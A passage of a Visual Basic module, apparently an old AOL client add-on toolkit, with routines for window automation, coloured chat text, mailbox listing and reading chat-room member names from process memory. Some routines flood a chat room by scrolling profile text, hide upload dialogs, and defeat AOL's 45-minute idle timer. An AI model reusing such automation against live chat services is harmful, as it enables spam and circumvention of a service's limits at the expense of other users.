  5303. End Function
  5304.  
  5305. Function ScrollProfile(SName As String)
  5306. On Error Resume Next
  5307. Dim n As Integer
  5308. numB% = FindWindow("#32770", vbNullString)
  5309. prof$ = getprofile(SName)
  5310. TimeOut (0.3)
  5311. Call ErrorRsenD("Now scrolling " & SName & "'s Profile")
  5312. TimeOut (0.5)
  5313. For X = 1 To Len(prof$)
  5314. i$ = Mid(prof$, X, 1)
  5315.  
  5316. If i$ = Chr(10) Then
  5317.     For o = 1 To Len(Lne$)
  5318.         j$ = Mid(Lne$, o, 1)
  5319.         If j$ = Chr(9) Then
  5320.         Exit For
  5321.         End If
  5322.     fnt$ = fnt$ & j$
  5323.     Next o
  5324. Wat$ = Mid(Lne$, o, Len(Lne$))
  5325.     
  5326.     
  5327.     If Len(Wat$) > 92 Then
  5328.             Half$ = Mid(Wat$, 1, 92)
  5329.         Call ErrorRsenD(Half$)
  5330.             Else
  5331.         Call ErrorRsenD(Wat$)
  5332.             End If
  5333.  
  5334.  
  5335. Lne$ = "": fnt$ = ""
  5336.  
  5337. TimeOut (0.5)
  5338. End If
  5339. Lne$ = Lne$ & i$
  5340. If numB% <> 0 Then
  5341. closeit = SendMessage(numB%, WM_CLOSE, 0, 0&)
  5342. End If
  5343. Next X
  5344.  
  5345.  
  5346. End Function
  5347. Function ScrollProfile2(SName As String)
  5348. 'this one makes the Member Name: and catagories in blue
  5349. 'looks a lot better but if the text is too long
  5350. 'itll stop
  5351. On Error Resume Next
  5352. Dim n As Integer
  5353. numB% = FindWindow("#32770", vbNullString)
  5354. prof$ = getprofile(SName)
  5355. Wait (0.3)
  5356. Call ErrorRsenD("<b><u>Now Scrolling " + SName + "'s Profie")
  5357. Wait (0.5)
  5358. For X = 1 To Len(prof$)
  5359. i$ = Mid(prof$, X, 1)
  5360.  
  5361. If i$ = Chr(10) Then
  5362.     For o = 1 To Len(Lne$)
  5363.         j$ = Mid(Lne$, o, 1)
  5364.         If j$ = Chr(9) Then
  5365.         Exit For
  5366.         End If
  5367.     fnt$ = fnt$ & j$
  5368.     Next o
  5369. Wat$ = "<font color=" & Chr(34) & "#0000FF" & Chr(34) & ">" & fnt$ & "<font color=" & Chr(34) & "#000000" & Chr(34) & ">" & Mid(Lne$, o, Len(Lne$))
  5370.     
  5371.     
  5372.     If Len(Wat$) > 170 Then
  5373.             Half$ = Mid(Wat$, 1, 170)
  5374.         Call ErrorRsenD(Half$)
  5375.             Else
  5376.         Call ErrorRsenD(Wat$)
  5377.             End If
  5378.  
  5379.  
  5380. Lne$ = "": fnt$ = ""
  5381.  
  5382. Wait (0.5)
  5383. End If
  5384. Lne$ = Lne$ & i$
  5385. If numB% <> 0 Then
  5386. closeit = SendMessage(numB%, WM_CLOSE, 0, 0&)
  5387. End If
  5388. Next X
  5389.  
  5390. End Function
  5391. Function Advertise1()
  5392. 'just another adv
  5393. 'this one is for ErrorR-Com
  5394. Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Punished AoL")
  5395. Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Abuser: " + UserSN)
  5396. End Function
  5397.  
  5398.  
  5399. Function Server_ListNew(lis As ListBox)
  5400. Dim Ind As Integer
  5401. Call Mail_OpenNew2
  5402. Do: DoEvents
  5403. aol% = FindWindow("AOL Frame25", vbNullString)
  5404. mdi% = FindChildByClass(aol%, "MDIClient")
  5405. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  5406. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5407. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5408. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5409. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5410. Loop
  5411. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5412. Ind = lis.ListCount
  5413. For i = 0 To coun% - 1
  5414. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  5415.     mail$ = String(lent% + 1, 0)
  5416.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  5417.     
  5418.     For X = 1 To Len(mail$)
  5419.         l$ = Mid(mail$, X, 1)
  5420.         NoName$ = NoName$ & l$
  5421.             If l$ = Chr(9) Then
  5422.                 Let l$ = "": NoName$ = ""
  5423.             End If
  5424.     Next X
  5425.     Ind = Val(Ind) + 1
  5426.         lis.AddItem Ind & ".) " & NoName$
  5427.         Next i
  5428.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5429. End Function
  5430. Function Server_ListOld(lis As ListBox)
  5431. Dim Ind As Integer
  5432. Call Mail_OpenOld2
  5433. Do: DoEvents
  5434. aol% = FindWindow("AOL Frame25", vbNullString)
  5435. mdi% = FindChildByClass(aol%, "MDIClient")
  5436. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  5437. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5438. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5439. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5440. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5441. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5442. Loop
  5443. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5444. Ind = lis.ListCount
  5445. For i = 0 To coun% - 1
  5446. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  5447.     mail$ = String(lent% + 1, 0)
  5448.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  5449.     
  5450.     For X = 1 To Len(mail$)
  5451.         l$ = Mid(mail$, X, 1)
  5452.         NoName$ = NoName$ & l$
  5453.             If l$ = Chr(9) Then
  5454.                 Let l$ = "": NoName$ = ""
  5455.             End If
  5456.     Next X
  5457.     Ind = Val(Ind) + 1
  5458.         lis.AddItem Ind & ".) " & NoName$
  5459.         Next i
  5460.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5461. End Function
  5462. Function Server_ListSent(lis As ListBox)
  5463. Dim Ind As Integer
  5464. Call Mail_OpenSent2
  5465. Wait (1)
  5466. Do: DoEvents
  5467. aol% = FindWindow("AOL Frame25", vbNullString)
  5468. mdi% = FindChildByClass(aol%, "MDIClient")
  5469. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  5470. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5471. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5472. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5473. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5474. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5475.  
  5476. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5477. Loop
  5478.     Do: DoEvents
  5479.         NewC = coun%
  5480.         coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5481.         If coun% = NewC Then Exit Do
  5482.     Loop
  5483. Ind = lis.ListCount
  5484. For i = 0 To coun% - 1
  5485. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  5486.     mail$ = String(lent% + 1, 0)
  5487.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  5488.     
  5489.     For X = 1 To Len(mail$)
  5490.         l$ = Mid(mail$, X, 1)
  5491.         NoName$ = NoName$ & l$
  5492.             If l$ = Chr(9) Then
  5493.                 Let l$ = "": NoName$ = ""
  5494.             End If
  5495.     Next X
  5496.     Ind = Val(Ind) + 1
  5497.         lis.AddItem Ind & ".) " & NoName$
  5498.         Next i
  5499.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5500. End Function
  5501.  
  5502. Function FocusSet(win)
  5503. setit = SetFocusAPI(win)
  5504.  
  5505. End Function
  5506.  
  5507. Function Text_American(strin As String)
  5508. 'red white an blue text *not faded*
  5509. 'heheh the crackerz coller
  5510. For X = 1 To Len(strin) Step 3
  5511. l$ = Mid(strin, X, 1)
  5512. l2$ = Mid(strin, X + 1, 1)
  5513. l3$ = Mid(strin, X + 2, 1)
  5514.     one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">"
  5515.         two$ = "<Font Color=" & Chr(34) & "#CCCCCC" & Chr(34) & ">"
  5516.             Tre$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">"
  5517.  
  5518.     clr$ = clr$ & one$ & l$ & two$ & l2$ & Tre$ & l3$
  5519. Next X
  5520. Call ErrorRsenD(clr$)
  5521. End Function
  5522.  
  5523. Function Text_Custom(strin As String, Letter As String)
  5524. 'same as Text_Dash and Period but you
  5525. 'tell it which letter to use
  5526. For i = 1 To Len(strin)
  5527. l$ = Mid(strin, i, 1)
  5528. l2$ = Mid(strin, i + 1, 1)
  5529. If l$ = " " Then
  5530. Dsh$ = Dsh$ & l$
  5531. ElseIf l2$ <> " " Then
  5532. Dsh$ = Dsh$ & l$ & Letter
  5533. Else
  5534. Dsh$ = Dsh$ & l$
  5535. End If
  5536. Next i
  5537. Text_Custom = Dsh$
  5538. End Function
  5539.  
  5540. Function Text_Dash(strin As String)
  5541. 'puts a dash in between every letter
  5542. For i = 1 To Len(strin)
  5543. l$ = Mid(strin, i, 1)
  5544. l2$ = Mid(strin, i + 1, 1)
  5545. If l$ = " " Then
  5546. Dsh$ = Dsh$ & l$
  5547. ElseIf l2$ <> " " Then
  5548. Dsh$ = Dsh$ & l$ & "-"
  5549. Else
  5550. Dsh$ = Dsh$ & l$
  5551. End If
  5552. Next i
  5553. ErrorRsenD (Dsh$)
  5554. End Function
  5555.  
  5556. Function Text_GreenRed(strin As String)
  5557. 'green an white text *all color texts aren't fades*
  5558. For X = 1 To Len(strin) Step 2
  5559. l$ = Mid(strin, X, 1)
  5560. l2$ = Mid(strin, X + 1, 1)
  5561. one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">"
  5562. two$ = "<Font Color=" & Chr(34) & "#00FF00" & Chr(34) & ">"
  5563. clr$ = clr$ & one$ & l$ & two$ & l2$
  5564. Next X
  5565. Call ErrorRsenD(clr$)
  5566. End Function
  5567. Function Text_BlueBlack(strin As String)
  5568. 'these are not fades
  5569. For X = 1 To Len(strin) Step 2
  5570. l$ = Mid(strin, X, 1)
  5571. l2$ = Mid(strin, X + 1, 1)
  5572. one$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">"
  5573. two$ = "<Font Color=" & Chr(34) & "#000000" & Chr(34) & ">"
  5574. clr$ = clr$ & one$ & l$ & two$ & l2$
  5575. Next X
  5576. Call ErrorRsenD(clr$)
  5577. End Function
  5578.  
  5579.  
  5580. Function Text_Period(strin As String)
  5581. For i = 1 To Len(strin)
  5582. l$ = Mid(strin, i, 1)
  5583. l2$ = Mid(strin, i + 1, 1)
  5584. If l$ = " " Then
  5585. Pd$ = Pd$ & l$
  5586. ElseIf l2$ <> " " Then
  5587. Pd$ = Pd$ & l$ & "."
  5588. Else
  5589. Pd$ = Pd$ & l$
  5590. End If
  5591. Next i
  5592. Text_Period = Pd$
  5593. End Function
  5594.  
  5595. Function Text_RandomRainbow(strin As String)
  5596. 'creates rainbow text in random order and random colors
  5597. For X = 1 To Len(strin)
  5598. l$ = Mid(strin, X, 1)
  5599.     one$ = "<Font Color=" & Chr(34) & RandomColorCode & Chr(34) & ">"
  5600.         
  5601.  
  5602.     clr$ = clr$ & one$ & l$
  5603. Next X
  5604. Call ErrorRsenD(clr$)
  5605. End Function
  5606.  
  5607. Function ClipBoardCopy(txt As String)
  5608. Clipboard.SetText txt
  5609. End Function
  5610. Function ClipBoardGetText()
  5611. 'gets text from clipboard to paste use this:
  5612. 'text1.text = text1.text & ClipBoardGetText
  5613. txt$ = Clipboard.GetText
  5614. ClipBoardGetText = txt$
  5615. End Function
  5616.  
  5617. Function TextBoxSelectedText(txt As textbox)
  5618. 'returns the text thats highlighted in a textbox
  5619. ST$ = txt.SelText
  5620. TextBoxSelectedText = ST$
  5621. End Function
  5622. Function TextBoxTypewriter(Wat As String, txt As textbox)
  5623. 'makes text "type" up
  5624. 'this is a alright sub if you dont know qbasic coding for labels
  5625. 'really eazy but this is just a shortcut
  5626. For i = 1 To Len(Wat)
  5627. l$ = Mid(Wat, 1, i)
  5628. txt.Text = l$
  5629. Wait (0.2)
  5630. Next i
  5631. End Function
  5632. Function TextBoxFastTypewriter(Wat As String, txt As textbox)
  5633. 'makes text "type" up faster
  5634. For i = 1 To Len(Wat)
  5635. l$ = Mid(Wat, 1, i)
  5636. txt.Text = l$
  5637. Wait (0.1)
  5638. Next i
  5639. End Function
  5640. Function LabelTypewriter(Wat As String, Lab As Label)
  5641. 'makes text "type" up
  5642. For i = 1 To Len(Wat)
  5643. l$ = Mid(Wat, 1, i)
  5644. Lab.Caption = l$
  5645. Wait (0.2)
  5646. Next i
  5647. End Function
  5648. Function LabelFastTypewriter(Wat As String, Lab As Label)
  5649. 'makes text "type" up faster
  5650. For i = 1 To Len(Wat)
  5651. l$ = Mid(Wat, 1, i)
  5652. Lab.Caption = l$
  5653. Wait (0.1)
  5654. Next i
  5655. End Function
  5656.  
  5657. Function aolUnUpchat()
  5658. Moda% = FindWindow("_AOL_Modal", vbNullString)
  5659. stat = InStr(Modal_Static, "Now Uploading")
  5660.  
  5661. If Moda% <> 0 And stat <> 0 Then
  5662. hideit = ShowWindow(Moda%, SW_SHOW)
  5663. minit = ShowWindow(Moda%, SW_RESTORE)
  5664. End If
  5665. End Function
  5666.  
  5667. Function UserSN()
  5668. On Error Resume Next
  5669. aol% = FindWindow("AOL Frame25", "America  Online")
  5670. mdi% = FindChildByClass(aol%, "MDIClient")
  5671. Welcome% = FindChildByTitle(mdi%, "Welcome, ")
  5672. WelcomeLength% = GetWindowTextLength(Welcome%)
  5673. WelcomeTitle$ = String$(200, 0)
  5674. a% = GetWindowText(Welcome%, WelcomeTitle$, (WelcomeLength% + 1))
  5675. User = Mid$(WelcomeTitle$, 10, (InStr(WelcomeTitle$, "!") - 10))
  5676. UserSN = User
  5677. End Function
  5678. Function aolupchat()
  5679.  
  5680. Moda% = FindWindow("_AOL_Modal", vbNullString)
  5681. stat = InStr(Modal_Static, "Now Uploading")
  5682.  
  5683. If Moda% <> 0 And stat <> 0 Then
  5684. hideit = ShowWindow(Moda%, SW_HIDE)
  5685. minit = ShowWindow(Moda%, SW_MINIMIZE)
  5686. End If
  5687. Call AOL_SetFocus
  5688. End Function
  5689.  
  5690. Function AOL4_UpChat()
  5691. 'this is an upchat that minimizes the
  5692. 'upload window
  5693. Die% = FindWindow("_AOL_MODAL", vbNullString)
  5694. X = ShowWindow(Die%, SW_HIDE)
  5695. X = ShowWindow(Die%, SW_MINIMIZE)
  5696. Call Aol4_SetFocus
  5697. End Function
  5698.  
  5699. Sub AOL4_UnUpChat()
  5700. Die% = FindWindow("_AOL_MODAL", vbNullString)
  5701. X = ShowWindow(Die%, SW_RESTORE)
  5702. Call Aol4_SetFocus
  5703. End Sub
  5704.  
  5705. Sub Anti45MinTimer()
  5706. 'use this sub in a timer set at 100
  5707. AOTimer% = FindWindow("_AOL_Palette", vbNullString)
  5708. AOIcon% = FindChildByClass(AOTimer%, "_AOL_Icon")
  5709. ClickIcon (AOIcon%)
  5710. End Sub
  5711.  
  5712. Function meeh_DeEncrypt(strin As String)
  5713. Let inptxt$ = strin
  5714. Let lenth% = Len(inptxt$)
  5715. Do While NumSpc% <= lenth%
  5716. Let NumSpc% = NumSpc% + 1
  5717. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  5718. If NextChr$ = "Ü" Then Let NextChr$ = "A"
  5719. If NextChr$ = "£" Then Let NextChr$ = "B"
  5720. If NextChr$ = "ó" Then Let NextChr$ = "C"
  5721. If NextChr$ = "ñ" Then Let NextChr$ = "D"
  5722. If NextChr$ = "▒" Then Let NextChr$ = "E"
  5723. If NextChr$ = "░" Then Let NextChr$ = "F"
  5724. If NextChr$ = "▓" Then Let NextChr$ = "G"
  5725. If NextChr$ = "│" Then Let NextChr$ = "H"
  5726. If NextChr$ = "╡" Then Let NextChr$ = "I"
  5727. If NextChr$ = "¬" Then Let NextChr$ = "J"
  5728. If NextChr$ = "╣" Then Let NextChr$ = "K"
  5729. If NextChr$ = "║" Then Let NextChr$ = "L"
  5730. If NextChr$ = "ƒ" Then Let NextChr$ = "M"
  5731. If NextChr$ = "φ" Then Let NextChr$ = "N"
  5732. If NextChr$ = "ε" Then Let NextChr$ = "O"
  5733. If NextChr$ = "∩" Then Let NextChr$ = "P"
  5734. If NextChr$ = "≡" Then Let NextChr$ = "Q"
  5735. If NextChr$ = "±" Then Let NextChr$ = "R"
  5736. If NextChr$ = "≥" Then Let NextChr$ = "S"
  5737. If NextChr$ = "≤" Then Let NextChr$ = "T"
  5738. If NextChr$ = "⌠" Then Let NextChr$ = "U"
  5739. If NextChr$ = "⌡" Then Let NextChr$ = "V"
  5740. If NextChr$ = "÷" Then Let NextChr$ = "W"
  5741. If NextChr$ = "°" Then Let NextChr$ = "X"
  5742. If NextChr$ = "∙" Then Let NextChr$ = "Y"
  5743. If NextChr$ = "·" Then Let NextChr$ = "Z"
  5744. If NextChr$ = " " Then Let NextChr$ = " "
  5745. If NextChr$ = "'" Then Let NextChr$ = "a"
  5746. If NextChr$ = "√" Then Let NextChr$ = "b"
  5747. If NextChr$ = "ⁿ" Then Let NextChr$ = "c"
  5748. If NextChr$ = "²" Then Let NextChr$ = "d"
  5749. If NextChr$ = "■" Then Let NextChr$ = "e"
  5750. If NextChr$ = "╞" Then Let NextChr$ = "f"
  5751. If NextChr$ = "╟" Then Let NextChr$ = "g"
  5752. If NextChr$ = "╠" Then Let NextChr$ = "h"
  5753. If NextChr$ = "═" Then Let NextChr$ = "i"
  5754. If NextChr$ = "╬" Then Let NextChr$ = "j"
  5755. If NextChr$ = "╧" Then Let NextChr$ = "k"
  5756. If NextChr$ = "╪" Then Let NextChr$ = "l"
  5757. If NextChr$ = "▐" Then Let NextChr$ = "m"
  5758. If NextChr$ = "▀" Then Let NextChr$ = "n"
  5759. If NextChr$ = "å" Then Let NextChr$ = "o"
  5760. If NextChr$ = "â" Then Let NextChr$ = "p"
  5761. If NextChr$ = "î" Then Let NextChr$ = "q"
  5762. If NextChr$ = "è" Then Let NextChr$ = "r"
  5763. If NextChr$ = "ç" Then Let NextChr$ = "s"
  5764. If NextChr$ = "í" Then Let NextChr$ = "t"
  5765. If NextChr$ = "ú" Then Let NextChr$ = "u"
  5766. If NextChr$ = "º" Then Let NextChr$ = "v"
  5767. If NextChr$ = "∞" Then Let NextChr$ = "w"
  5768. If NextChr$ = "δ" Then Let NextChr$ = "x"
  5769. If NextChr$ = "Ω" Then Let NextChr$ = "y"
  5770. If NextChr$ = "Θ" Then Let NextChr$ = "z"
  5771. If NextChr$ = "Φ" Then Let NextChr$ = "1"
  5772. If NextChr$ = "τ" Then Let NextChr$ = "2"
  5773. If NextChr$ = "µ" Then Let NextChr$ = "3"
  5774. If NextChr$ = "ß" Then Let NextChr$ = "4"
  5775. If NextChr$ = "σ" Then Let NextChr$ = "5"
  5776. If NextChr$ = "Γ" Then Let NextChr$ = "6"
  5777. If NextChr$ = "π" Then Let NextChr$ = "7"
  5778. If NextChr$ = "Σ" Then Let NextChr$ = "8"
  5779. If NextChr$ = "α" Then Let NextChr$ = "9"
  5780. If NextChr$ = "╫" Then Let NextChr$ = "0"
  5781. Let NewSent$ = NewSent$ + NextChr$
  5782. Loop
  5783. meeh_DeEncrypt = NewSent$
  5784. End Function
  5785.  
  5786. Function WaitForInRoom()
  5787. Do: DoEvents
  5788. If InRoom = True Then Exit Do
  5789. Loop
  5790.  
  5791. End Function
  5792.  
  5793. Function WaitForMenu()
  5794. Do: DoEvents
  5795. Drp% = FindWindow("#32768", vbNullString)
  5796. win% = IsWindowVisible(Drp%)
  5797. Loop Until win% = 1
  5798. End Function
  5799.  
  5800.  
  5801. Function Window_Hide(WinHandle)
  5802. hideit = ShowWindow(WinHandle, SW_HIDE)
  5803.  
  5804. End Function
  5805. Function Window_Show(WinHandle)
  5806. hideit = ShowWindow(WinHandle, SW_SHOW)
  5807.  
  5808. End Function
  5809. Function Window_Close(WinHandle)
  5810. closeit = SendMessage(WinHandle, WM_CLOSE, 0, 0&)
  5811.  
  5812. End Function
  5813.  
  5814. Function Windows_GetUser()
  5815. 'returns the name of the user in windows
  5816.      
  5817.      Dim Spcs As String
  5818.      Dim lent As Long
  5819.      Spcs = Space$(255)
  5820.      lent = Len(Spcs)
  5821.      Call GetUserName(Spcs, lent)
  5822.  
  5823.     If lent > 0 Then
  5824.          Windows_GetUser = Left$(Spcs, lent)
  5825.     Else
  5826.          Windows_GetUser = vbNullString
  5827.     End If
  5828.  
  5829.     End Function
  5830.  
  5831. Function RunExe(PathName As String, WinStyle As Integer)
  5832. 'runs an exe
  5833. 'WinStyle constants are:
  5834. '0   Window is hidden and focus is passed to the hidden window.
  5835. '1   Window has focus and is restored to its original size and position.
  5836. '2   Window is displayed as an icon with focus.
  5837. '3   Window is maximized with focus.
  5838. '4   Window is restored to its most recent size and position.  The currently active window remains active.
  5839. '6   Window is displayed as an icon.  The currently active window remains active.
  5840. X = Shell(PathName, WinStyle)
  5841. End Function
  5842.  
  5843. Function Bot_Echo(Who As String)
  5844. 'put this in a timer
  5845. If LCase(Who) = LCase(UserSN) Then
  5846. Exit Function
  5847. End If
  5848. txt$ = LastChatLine
  5849. pers$ = LCase(LastChatLineWithSN)
  5850. If pers$ = LCase(Who) Then
  5851. Sen$ = txt$
  5852. Call ErrorRsenD(Sen$)
  5853. Wait (0.5)
  5854. End If
  5855.  
  5856. End Function
  5857.  
  5858.  
  5859. Function Bot_MMer(lis As ListBox, Key As String, Ascii As String)
  5860. 'put this in a timer it works good unless your
  5861. 'computer is lagging and it takes longer to send chat
  5862. 'keep this in mind you can set the timer to an
  5863. 'interval of 1 but it will write the response 3 times if your
  5864. 'lagging
  5865. 'example.. write the advertise then start the timer( timer1.enabled = true)
  5866. 'then in the timer....-- Call Bot_MMer(list1,"/add me","-->>")
  5867. 'just add the word you want it to respond too and add your ascii
  5868. Nam$ = LastLineSN
  5869. txt$ = LCase(LastLineText)
  5870.  
  5871. If txt$ = Key Then
  5872. got$ = Nam$
  5873. For i = 0 To lis.ListCount
  5874. element$ = lis.List(i)
  5875. If element$ = got$ Then
  5876. Call SendChat(Ascii & got$ & " you've already been added")
  5877. Wait (0.5)
  5878. Exit Function
  5879. End If
  5880. Next i
  5881. lis.AddItem got$
  5882. Call SendChat(Ascii & got$ & " You've been added to list [" & lis.ListCount & "]")
  5883. Wait (0.5)
  5884. End If
  5885.  
  5886. End Function
  5887.  
  5888. Function ToImKill()
  5889. 'kills the im that comes up when you im someone
  5890. aol% = FindWindow("AOL Frame25", vbNullString)
  5891. mdi% = FindChildByClass(aol%, "MDIClient")
  5892. TIT% = FindChildByTitle(mdi%, " Instant Message To:")
  5893. If TIT% <> 0 Then
  5894. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5895. End If
  5896.  
  5897. End Function
  5898.  
  5899.  
  5900. Function FindChildByClass(parent, child As String) As Integer
  5901. childfocus% = GetWindow(parent, 5)
  5902.  
  5903. While childfocus%
  5904. buffer$ = String$(250, 0)
  5905. classbuffer% = GetClassName(childfocus%, buffer$, 250)
  5906.  
  5907. If InStr(UCase(buffer$), UCase(child)) Then FindChildByClass = childfocus%: Exit Function
  5908. childfocus% = GetWindow(childfocus%, 2)
  5909. Wend
  5910.  
  5911. End Function
  5912. Function FindChildByTitle(parent, child As String) As Integer
  5913. childfocus% = GetWindow(parent, 5)
  5914.  
  5915. While childfocus%
  5916. hwndLength% = GetWindowTextLength(childfocus%)
  5917. buffer$ = String$(hwndLength%, 0)
  5918. WindowText% = GetWindowText(childfocus%, buffer$, (hwndLength% + 1))
  5919.  
  5920. If InStr(UCase(buffer$), UCase(child)) Then FindChildByTitle = childfocus%: Exit Function
  5921. childfocus% = GetWindow(childfocus%, 2)
  5922. Wend
  5923.  
  5924. End Function
  5925. Function FreeProcess()
  5926. 'this will free up the comp, ie. if
  5927. 'your comp is runnin slow this will help
  5928. Do: DoEvents
  5929. proc = proc + 1
  5930. If proc = 50 Then Exit Do
  5931. Loop
  5932. End Function
  5933.  
  5934. Sub List_RemoveName(lis As ListBox, Nam As String)
  5935. 'Removes a name or item from a listbox
  5936. For i = 0 To lis.ListCount
  5937. Item$ = lis.List(i)
  5938. If Item$ = Nam Then
  5939. lis.RemoveItem i
  5940. End If
  5941. Next i
  5942. End Sub
  5943.  
  5944.  
  5945. Function AOL30_ChatNow()
  5946. aol% = FindWindow("AOL Frame25", vbNullString)
  5947. mdi% = FindChildByClass(aol%, "MDIClient")
  5948. Welc% = FindChildByTitle(mdi%, "Welcome, ")
  5949. Icona% = FindChildByClass(Welc%, "_AOL_Icon")
  5950. Icon2% = GetWindow(Icona%, GW_HWNDNEXT)
  5951. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5952. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5953. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5954. clickit = SendMessage(Icon2%, WM_LBUTTONDOWN, 0, 0&)
  5955. clickit = SendMessage(Icon2%, WM_LBUTTONUP, 0, 0&)
  5956. Do: DoEvents
  5957. peopl% = FindChildByTitle(mdi%, "People Connection")
  5958. If peopl% <> 0 Then Exit Do
  5959. Loop
  5960. iconb% = FindChildByClass(peopl%, "_AOL_Icon")
  5961. Icon3% = GetWindow(iconb%, GW_HWNDNEXT)
  5962. Icon3% = GetWindow(Icon3%, GW_HWNDNEXT)
  5963. clickit = SendMessage(Icon3%, WM_LBUTTONDOWN, 0, 0&)
  5964. clickit = SendMessage(Icon3%, WM_LBUTTONUP, 0, 0&)
  5965. End Function
  5966. Sub addroom(ListBox As ListBox)
  5967. On Error Resume Next
  5968.  
  5969. Dim AProc As Long
  5970. Dim Holdit As Long
  5971. Dim Person As String
  5972. Dim Holdthem As Long
  5973. Dim Howmnybts As Long
  5974. Dim Chil%, Rich%
  5975.  
  5976. Chil% = FindChat
  5977. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  5978. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  5979. aolhandle = lis%
  5980.  
  5981. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  5982. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  5983.  
  5984. If AOLProcessThread Then
  5985. For i = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1
  5986. Person$ = String$(4, vbNullChar)
  5987. Holdit = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(i), ByVal 0&)
  5988. Holdit = Holdit + 24
  5989. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  5990.                         
  5991. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  5992. Holdthem = Holdthem + 6
  5993.  
  5994. Person$ = String$(16, vbNullChar)
  5995. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  5996.  
  5997. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  5998. If Person$ = GetUserSn Then GoTo Skip
  5999. ListBox.AddItem Person$
  6000. Skip:
  6001. Next i
  6002. Call CloseHandle(AOLProcessThread)
  6003. End If
  6004. End Sub
  6005. Sub ChatIgnore(name As String)
  6006. On Error Resume Next
  6007.  
  6008. Dim AProc As Long
  6009. Dim Holdit As Long
  6010. Dim Person As String
  6011. Dim Holdthem As Long
  6012. Dim Howmnybts As Long
  6013. Dim Chil%, Rich%
  6014. aol% = FindWindow("AOL Frame25", vbNullString)
  6015. mdi% = FindChildByClass(aol%, "MDIClient")
  6016. Chil% = FindChat
  6017. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6018. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6019.  
  6020.  
  6021. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6022. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6023.  
  6024. If AOLProcessThread Then
  6025. For i = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6026. Person$ = String$(4, vbNullChar)
  6027. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(i), ByVal 0&)
  6028. Holdit = Holdit + 24
  6029. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6030.                         
  6031. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6032. Holdthem = Holdthem + 6
  6033.  
  6034. Person$ = String$(16, vbNullChar)
  6035. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6036.  
  6037. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6038. If LCase(Person$) = LCase(name) Then
  6039. clickem = SendMessage(lis%, LB_SETCURSEL, i, 0&)
  6040. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6041.     Do: DoEvents
  6042.         TIT% = FindChildByTitle(mdi%, Person$)
  6043.             Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6044.         If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6045.     Loop
  6046.         
  6047.             Do: DoEvents
  6048.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
